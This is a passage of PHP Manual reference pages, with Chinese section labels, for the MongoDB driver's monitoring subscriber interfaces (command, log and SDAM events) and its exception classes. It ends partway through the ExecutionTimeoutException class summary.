  • ? MongoDB\Driver\Monitoring\TopologyOpeningEvent
  • MongoDB\Driver\Monitoring\CommandSubscriber ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\TopologyOpeningEvent
  • Returns the topology ID

MongoDB\Driver\Monitoring\TopologyOpeningEvent::getTopologyId

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\TopologyOpeningEvent::getTopologyId — Returns the topology ID

说明

final public MongoDB\Driver\Monitoring\TopologyOpeningEvent::getTopologyId(): MongoDB\BSON\ObjectId

参数

此函数没有参数。

返回值

Returns the topology ID.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\CommandSubscriber interface

(mongodb >=1.3.0)

简介

Classes may implement this interface to register an event subscriber that is notified for each started, successful, and failed command event. See Application Performance Monitoring (APM) for additional information.

接口摘要

class MongoDB\Driver\Monitoring\CommandSubscriber implements MongoDB\Driver\Monitoring\Subscriber {
/* 方法 */
abstract public commandFailed(MongoDB\Driver\Monitoring\CommandFailedEvent $event): void
abstract public commandStarted(MongoDB\Driver\Monitoring\CommandStartedEvent $event): void
abstract public commandSucceeded(MongoDB\Driver\Monitoring\CommandSucceededEvent $event): void
}

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Return types for methods are declared as tentative on PHP 8.0 and newer, triggering deprecation notices in code that implements this interface without declaring the appropriate return types. The #[ReturnTypeWillChange] attribute can be added to silence the deprecation notice.

Table of Contents

  • MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed — Notification method for a failed command
  • MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted — Notification method for a started command
  • MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded — Notification method for a successful command

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a failed command

  • ? MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • Notification method for a failed command

MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed — Notification method for a failed command

说明

abstract public MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed(MongoDB\Driver\Monitoring\CommandFailedEvent $event): void

If the subscriber has been registered, the driver will call this method when a command has failed.

参数

event (MongoDB\Driver\Monitoring\CommandFailedEvent)

An event object encapsulating information about the failed command.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a started command

  • ? MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed
  • MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • Notification method for a started command

MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted — Notification method for a started command

说明

abstract public MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted(MongoDB\Driver\Monitoring\CommandStartedEvent $event): void

If the subscriber has been registered, the driver will call this method when a command has started.

参数

event (MongoDB\Driver\Monitoring\CommandStartedEvent)

An event object encapsulating information about the started command.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a successful command

  • ? MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted
  • MongoDB\Driver\Monitoring\LogSubscriber ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • Notification method for a successful command

MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded — Notification method for a successful command

说明

abstract public MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded(MongoDB\Driver\Monitoring\CommandSucceededEvent $event): void

If the subscriber has been registered, the driver will call this method when a command has succeeded.

参数

event (MongoDB\Driver\Monitoring\CommandSucceededEvent)

An event object encapsulating information about the successful command.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\LogSubscriber interface

(mongodb >=1.17.0)

简介

Classes implementing this interface may be registered as a subscriber and receive log messages from the driver. This is similar to stream-based debug logging (i.e. mongodb.debug) except that trace-level log messages are not received.

As with stream-based logging, it is only possible to register a logger globally using MongoDB\Driver\Monitoring\addSubscriber(). The driver is not able to distinguish log messages for individual MongoDB\Driver\Manager objects.

接口摘要

class MongoDB\Driver\Monitoring\LogSubscriber implements MongoDB\Driver\Monitoring\Subscriber {
/* 常量 */
const int LEVEL_ERROR = 0;
const int LEVEL_CRITICAL = 1;
const int LEVEL_WARNING = 2;
const int LEVEL_MESSAGE = 3;
const int LEVEL_INFO = 4;
const int LEVEL_DEBUG = 5;
/* 方法 */
abstract public log(int $level, string $domain, string $message): void
}

预定义常量

MongoDB\Driver\Monitoring\LogSubscriber::LEVEL_ERROR

Error log level. An error condition that the driver is unable to report through its API. This is the most severe log level in the driver.

MongoDB\Driver\Monitoring\LogSubscriber::LEVEL_CRITICAL

Critical log level. An error condition with slightly less severity. This constant exists for consistency with libmongoc; however, the driver is unlikely to use it in practice.

MongoDB\Driver\Monitoring\LogSubscriber::LEVEL_WARNING

Warning log level. Indicates a situation where undesirable application behavior may occur.

MongoDB\Driver\Monitoring\LogSubscriber::LEVEL_MESSAGE

Message or notice log level. Indicates an event that is unusual but not problematic.

MongoDB\Driver\Monitoring\LogSubscriber::LEVEL_INFO

Info log level. High-level information about normal driver behavior.

MongoDB\Driver\Monitoring\LogSubscriber::LEVEL_DEBUG

Debug log level. Detailed information that may be helpful when debugging an application.

Table of Contents

  • MongoDB\Driver\Monitoring\LogSubscriber::log — Notification method for a log message

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a log message

  • ? MongoDB\Driver\Monitoring\LogSubscriber
  • MongoDB\Driver\Monitoring\SDAMSubscriber ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\LogSubscriber
  • Notification method for a log message

MongoDB\Driver\Monitoring\LogSubscriber::log

(mongodb >=1.17.0)

MongoDB\Driver\Monitoring\LogSubscriber::log — Notification method for a log message

说明

abstract public MongoDB\Driver\Monitoring\LogSubscriber::log(int $level, string $domain, string $message): void

If the subscriber has been registered, the driver will call this method for each logged message.

参数

level

The severity level. This will be one of the interface constants.

domain

The name of the driver component that emitted the log message.

message

The log message.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\SDAMSubscriber interface

(mongodb >=1.13.0)

简介

Classes may implement this interface to register an event subscriber that is notified for various SDAM events. See the » Server Discovery and Monitoring and » SDAM Monitoring specifications for additional information.

接口摘要

class MongoDB\Driver\Monitoring\SDAMSubscriber implements MongoDB\Driver\Monitoring\Subscriber {
/* 方法 */
abstract public serverChanged(MongoDB\Driver\Monitoring\ServerChangedEvent $event): void
abstract public serverClosed(MongoDB\Driver\Monitoring\ServerClosedEvent $event): void
abstract public serverHeartbeatFailed(MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent $event): void
abstract public serverHeartbeatStarted(MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent $event): void
abstract public serverHeartbeatSucceeded(MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent $event): void
abstract public serverOpening(MongoDB\Driver\Monitoring\ServerOpeningEvent $event): void
abstract public topologyChanged(MongoDB\Driver\Monitoring\TopologyChangedEvent $event): void
abstract public topologyClosed(MongoDB\Driver\Monitoring\TopologyClosedEvent $event): void
abstract public topologyOpening(MongoDB\Driver\Monitoring\TopologyOpeningEvent $event): void
}

更新日志

版本 | 说明
PECL mongodb 1.15.0 | Return types for methods are declared as tentative on PHP 8.0 and newer, triggering deprecation notices in code that implements this interface without declaring the appropriate return types. The #[ReturnTypeWillChange] attribute can be added to silence the deprecation notice.

Table of Contents

  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged — Notification method for a server description change
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed — Notification method for closing a server
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed — Notification method for a failed server heartbeat
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted — Notification method for a started server heartbeat
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded — Notification method for a successful server heartbeat
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening — Notification method for opening a server
  • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged — Notification method for a topology description change
  • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed — Notification method for closing the topology
  • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening — Notification method for opening the topology

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a server description change

  • ? MongoDB\Driver\Monitoring\SDAMSubscriber
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Notification method for a server description change

MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged — Notification method for a server description change

说明

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged(MongoDB\Driver\Monitoring\ServerChangedEvent $event): void

If the subscriber has been registered, the driver will call this method when a server's description has changed.

参数

event (MongoDB\Driver\Monitoring\ServerChangedEvent)

An event object encapsulating information about the changed server description.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\ServerChangedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager

User Contributed Notes

There are no user contributed notes for this page.


Notification method for closing a server

  • ? MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Notification method for closing a server

MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed — Notification method for closing a server

说明

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed(MongoDB\Driver\Monitoring\ServerClosedEvent $event): void

If the subscriber has been registered, the driver will call this method when a server is closed.

参数

event (MongoDB\Driver\Monitoring\ServerClosedEvent)

An event object encapsulating information about the closed server.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\ServerClosedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a failed server heartbeat

  • ? MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Notification method for a failed server heartbeat

MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed — Notification method for a failed server heartbeat

说明

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed(MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent $event): void

If the subscriber has been registered, the driver will call this method when a server heartbeat (i.e. » hello command issued through » server monitoring) has failed.

参数

event (MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent)

An event object encapsulating information about the failed server heartbeat.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a started server heartbeat

  • ? MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Notification method for a started server heartbeat

MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted — Notification method for a started server heartbeat

说明

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted(MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent $event): void

If the subscriber has been registered, the driver will call this method when a server heartbeat (i.e. » hello command issued through » server monitoring) has started.

参数

event (MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent)

An event object encapsulating information about the started server heartbeat.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a successful server heartbeat

  • ? MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted
  • MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Notification method for a successful server heartbeat

MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded — Notification method for a successful server heartbeat

说明

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded(MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent $event): void

If the subscriber has been registered, the driver will call this method when a server heartbeat (i.e. » hello command issued through » server monitoring) has succeeded.

参数

event (MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent)

An event object encapsulating information about the successful server heartbeat.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager

User Contributed Notes

There are no user contributed notes for this page.


Notification method for opening a server

  • ? MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded
  • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Notification method for opening a server

MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening — Notification method for opening a server

说明

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening(MongoDB\Driver\Monitoring\ServerOpeningEvent $event): void

If the subscriber has been registered, the driver will call this method when a server is opened.

参数

event (MongoDB\Driver\Monitoring\ServerOpeningEvent)

An event object encapsulating information about the opened server.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\ServerOpeningEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a topology description change

  • ? MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening
  • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Notification method for a topology description change

MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged — Notification method for a topology description change

说明

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged(MongoDB\Driver\Monitoring\TopologyChangedEvent $event): void

If the subscriber has been registered, the driver will call this method when the topology's description has changed.

参数

event (MongoDB\Driver\Monitoring\TopologyChangedEvent)

An event object encapsulating information about the changed topology description.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\TopologyChangedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager

User Contributed Notes

There are no user contributed notes for this page.


Notification method for closing the topology

  • ? MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged
  • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Notification method for closing the topology

MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed — Notification method for closing the topology

说明

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed(MongoDB\Driver\Monitoring\TopologyClosedEvent $event): void

If the subscriber has been registered, the driver will call this method when the topology is closed.

参数

event (MongoDB\Driver\Monitoring\TopologyClosedEvent)

An event object encapsulating information about the closed topology.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\TopologyClosedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager

User Contributed Notes

There are no user contributed notes for this page.


Notification method for opening the topology

  • ? MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed
  • MongoDB\Driver\Monitoring\Subscriber ?
  • PHP Manual
  • MongoDB\Driver\Monitoring\SDAMSubscriber
  • Notification method for opening the topology

MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening

(mongodb >=1.13.0)

MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening — Notification method for opening the topology

说明

abstract public MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening(MongoDB\Driver\Monitoring\TopologyOpeningEvent $event): void

If the subscriber has been registered, the driver will call this method when the topology is opened.

参数

event (MongoDB\Driver\Monitoring\TopologyOpeningEvent)

An event object encapsulating information about the opened topology.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Monitoring\TopologyOpeningEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a monitoring event subscriber globally
  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\Subscriber interface

(mongodb >=1.3.0)

简介

Base interface for event subscribers. This is used as a parameter type in the functions MongoDB\Driver\Monitoring\addSubscriber() and MongoDB\Driver\Monitoring\removeSubscriber() and should not be implemented directly.

接口摘要

class MongoDB\Driver\Monitoring\Subscriber {
}

This interface has no methods. Its only purpose is to be the base interface for all event subscribers.

User Contributed Notes

There are no user contributed notes for this page.


Exception 类

  • MongoDB\Driver\Exception\AuthenticationException — The MongoDB\Driver\Exception\AuthenticationException class
  • MongoDB\Driver\Exception\BulkWriteException — The MongoDB\Driver\Exception\BulkWriteException class
  • MongoDB\Driver\Exception\CommandException — The MongoDB\Driver\Exception\CommandException class
    • MongoDB\Driver\Exception\CommandException::getResultDocument — Returns the result document for the failed command
  • MongoDB\Driver\Exception\ConnectionException — The MongoDB\Driver\Exception\ConnectionException class
  • MongoDB\Driver\Exception\ConnectionTimeoutException — The MongoDB\Driver\Exception\ConnectionTimeoutException class
  • MongoDB\Driver\Exception\EncryptionException — The MongoDB\Driver\Exception\EncryptionException class
  • MongoDB\Driver\Exception\Exception — The MongoDB\Driver\Exception\Exception interface
  • MongoDB\Driver\Exception\ExecutionTimeoutException — The MongoDB\Driver\Exception\ExecutionTimeoutException class
  • MongoDB\Driver\Exception\InvalidArgumentException — The MongoDB\Driver\Exception\InvalidArgumentException class
  • MongoDB\Driver\Exception\LogicException — The MongoDB\Driver\Exception\LogicException class
  • MongoDB\Driver\Exception\RuntimeException — The MongoDB\Driver\Exception\RuntimeException class
    • MongoDB\Driver\Exception\RuntimeException::hasErrorLabel — Returns whether an error label is associated with an exception
  • MongoDB\Driver\Exception\ServerException — The MongoDB\Driver\Exception\ServerException class
  • MongoDB\Driver\Exception\SSLConnectionException — The MongoDB\Driver\Exception\SSLConnectionException class (deprecated)
  • MongoDB\Driver\Exception\UnexpectedValueException — The MongoDB\Driver\Exception\UnexpectedValueException class
  • MongoDB\Driver\Exception\WriteException — The MongoDB\Driver\Exception\WriteException class
    • MongoDB\Driver\Exception\WriteException::getWriteResult — Returns the WriteResult for the failed write operation
  • Class Tree — MongoDB Exception Class Tree

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\AuthenticationException class

(mongodb >= 1.0.0)

简介

Thrown when the driver fails to authenticate with the server.

类摘要

class MongoDB\Driver\Exception\AuthenticationException extends MongoDB\Driver\Exception\ConnectionException implements MongoDB\Driver\Exception\Exception {
/* 继承的属性 */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\BulkWriteException class

(mongodb >= 1.0.0)

简介

Thrown when a bulk write operation fails.

类摘要

class MongoDB\Driver\Exception\BulkWriteException extends MongoDB\Driver\Exception\WriteException implements MongoDB\Driver\Exception\Exception {
/* 继承的属性 */
protected MongoDB\Driver\WriteResult $writeResult;
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public MongoDB\Driver\Exception\WriteException::getWriteResult(): MongoDB\Driver\WriteResult
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\CommandException class

(mongodb >= 1.5.0)

简介

Thrown when a command fails.

类摘要

class MongoDB\Driver\Exception\CommandException extends MongoDB\Driver\Exception\ServerException implements MongoDB\Driver\Exception\Exception {
/* 属性 */
protected object $resultDocument;
/* 继承的属性 */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
final public getResultDocument(): object
/* 继承的方法 */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

resultDocument

The result document associated with the failed command.

Table of Contents

  • MongoDB\Driver\Exception\CommandException::getResultDocument — Returns the result document for the failed command

User Contributed Notes

There are no user contributed notes for this page.


Returns the result document for the failed command

  • ? MongoDB\Driver\Exception\CommandException
  • MongoDB\Driver\Exception\ConnectionException ?
  • PHP Manual
  • MongoDB\Driver\Exception\CommandException
  • Returns the result document for the failed command

MongoDB\Driver\Exception\CommandException::getResultDocument

(mongodb >= 1.5.0)

MongoDB\Driver\Exception\CommandException::getResultDocument — Returns the result document for the failed command

说明

final public MongoDB\Driver\Exception\CommandException::getResultDocument(): object

Returns the result document for the failed command.

参数

此函数没有参数。

返回值

The result document for the failed command.

参见

  • MongoDB\Driver\Manager::executeCommand() - Execute a database command

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\ConnectionException class

(mongodb >= 1.0.0)

简介

Base class for exceptions thrown when the driver fails to establish a database connection.

类摘要

class MongoDB\Driver\Exception\ConnectionException extends MongoDB\Driver\Exception\RuntimeException implements MongoDB\Driver\Exception\Exception {
/* 继承的属性 */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\ConnectionTimeoutException class

(mongodb >= 1.0.0)

简介

Thrown when the driver fails to establish a database connection within a specified time limit (connectTimeoutMS) or server selection fails (serverSelectionTimeoutMS).

类摘要

final class MongoDB\Driver\Exception\ConnectionTimeoutException extends MongoDB\Driver\Exception\ConnectionException implements MongoDB\Driver\Exception\Exception {
/* 继承的属性 */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\EncryptionException class

(mongodb >= 1.7.0)

简介

Base class for exceptions thrown during client-side encryption.

类摘要

class MongoDB\Driver\Exception\EncryptionException extends MongoDB\Driver\Exception\RuntimeException implements MongoDB\Driver\Exception\Exception {
/* 继承的属性 */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\Exception interface

(mongodb >= 1.0.0)

简介

Common interface for all driver exceptions. This may be used to catch only exceptions originating from the driver itself.

类摘要

class MongoDB\Driver\Exception\Exception {
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\ExecutionTimeoutException class

(mongodb >= 1.0.0)

简介

Thrown when a query or command fails to complete within a specified time limit (e.g. » maxTimeMS).

类摘要

final class MongoDB\Driver\Exception\ExecutionTimeoutException extends MongoDB\Driver\Exception\ServerException implements MongoDB\Driver\Exception\Exception {
/* 继承的属性 */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
